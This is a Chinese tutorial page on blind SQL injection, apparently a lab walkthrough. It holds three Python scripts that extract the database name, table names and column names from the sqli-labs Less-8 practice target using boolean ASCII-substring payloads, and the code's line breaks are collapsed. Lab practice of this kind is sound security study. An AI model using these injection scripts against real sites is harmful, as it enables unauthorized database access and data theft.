当前位置: 首页 > news >正文

boolen盲注和时间盲注

获取当前数据库名 

import requestsdef inject_database(url):name=''max_length=20low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}for i in range(1, max_length + 1):low_val=32high_val=122while low_val < high_val:middle_val=(low_val + high_val) // 2payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "params={"id": payload}r=requests.get(url, params=params)if 'You are in' in r.text:low_val=middle_val + 1else:high_val=middle_valif low_val > 32:char=chr(low_val)name+=charprint(f"Current database name: {name}")low_val=32high_val=122print(f"Final database name: {name}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"inject_database(url)

结果

获取数据库表 

import requestsdef inject_table_names(url, database_name):table_names=[]max_length=20allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _num_tables=100for table_index in range(num_tables):table_name=''for i in range(1, max_length + 1):low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2while low < high:payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)if 'You are in' in r.text:low=middle + 1else:high=middlemiddle=(low + high) // 2if middle in allowed_chars:table_name+=chr(middle)print(f"Current table name: {table_name}")low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2if table_name:table_names.append(table_name)if len(table_names) >= 5:breakprint(f"Final table names: {table_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"  # 目标数据库名称inject_table_names(url, database_name)

结果

 

获取表的列 

import requestsdef inject_column_names(url, database_name, table_name):column_names=[]  max_length=20allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95]  # 0-9, A-Z, a-z, _num_columns=100 for column_index in range(num_columns):column_name=''for i in range(1, max_length + 1):low=min(allowed_chars) high=max(allowed_chars) middle=(low + high) // 2while low < high:payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)if 'You are in' in r.text:low=middle + 1else:high=middlemiddle=(low + high) // 2if middle in allowed_chars:column_name+=chr(middle)print(f"Current column name: {column_name}")low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2if column_name and not column_name.startswith("0"):column_names.append(column_name)if len(column_names) >= 5:breakprint(f"Final column names: {column_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security"table_name="users"inject_column_names(url, database_name, table_name)

结果

http://www.lryc.cn/news/536002.html

相关文章:

  • CTF-web:java-h2 堆叠注入rec -- N1ctf Junior EasyDB
  • TUSB422 MCU 软件用户指南
  • BUU37 [DASCTF X GFCTF 2024|四月开启第一局]web1234100
  • 常见的排序算法:插入排序、选择排序、冒泡排序、快速排序
  • vue学习9
  • TDengine 性能测试工具 taosBenchmark
  • 【xdoj离散数学上机】T283
  • Javaweb中,使用Servlet编写简单的接口
  • GESP5级语法知识(十):初级数论(三)
  • “PEP 8: W292 no newline at end of file“报错 IntelliJ IDEA自动添加空行问题
  • ComfyUI工作流 FluxRedux基础换装
  • 【机器学习】常见采样方法详解
  • 使用瑞芯微RK3588的NPU进行模型转换和推理
  • Flutter项目试水
  • 【算法学习】DFS与BFS
  • 100.16 AI量化面试题:监督学习技术在量化金融中的应用方案
  • 基于deepseek api和openweather 天气API实现Function Calling技术讲解
  • 线性数据结构解密:数组的定义、操作与实际应用
  • CentOS搭建PPPOE服务器
  • 【报错】解决 RuntimeError: CUDA error: CUBLAS_STATUS_INVALID_VALUE 报错问题
  • 【C语言】C语言 文具店商品库存管理系统(源码+数据文件)【独一无二】
  • LangChain系列: 使用工具和工具包构建代理实战教程
  • 布隆过滤器(简单介绍)
  • C++ 利器:inline 与 nullptr
  • 给一个单体项目加装Feign
  • 可以使用Deepseek R1模型的平台集锦
  • “探索1688平台:高效获取店铺商品信息的实用指南“
  • 在fedora41中安装钉钉dingtalk_7.6.25.4122001_amd64
  • 数据结构:图论入门
  • 有限状态系统的抽象定义及CEGAR分析解析理论篇